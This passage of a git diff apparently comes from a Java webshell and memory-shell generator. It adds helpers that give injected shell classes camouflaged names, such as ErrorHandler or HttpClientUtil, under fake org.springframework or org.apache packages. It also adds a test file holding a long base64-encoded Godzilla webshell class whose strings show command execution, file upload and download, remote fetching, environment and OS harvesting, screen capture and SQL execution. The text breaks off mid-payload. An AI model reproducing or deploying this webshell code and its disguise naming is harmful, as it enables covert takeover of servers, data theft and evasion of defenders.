0; i < length; i++) { + int number = random.nextInt(52); + sb.append(str.charAt(number)); + } + return sb.toString(); + } + + private static final String[] PACKAGE_NAMES = { + "org.springframework", + "org.apache.commons", + "org.apache.logging", + "org.apache", + "com.fasterxml.jackson", + "org.junit", + "org.apache.commons.lang", + "org.apache.http.client", + "com.google.gso", + "ch.qos.logback" + }; + + private static String getRandomPackageName() { + return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5); + } + + public static String generateShellClassName() { + return getRandomPackageName() + ".ErrorHandler"; + } + + public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; + + public static String generateInjectorClassName() { + return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)]; + } } diff --git a/generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java b/generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java new file mode 100644 index 00000000..a20be21a --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/GodzillaConnectionTest.java @@ -0,0 +1,118 @@ +package com.reajason.javaweb; + +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.io.IOUtils; +import org.junit.jupiter.api.Test; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.net.URLDecoder; +import java.net.URLEncoder; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class GodzillaConnectionTest { + + @Test + void test() throws IOException { + byte[] bytes = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA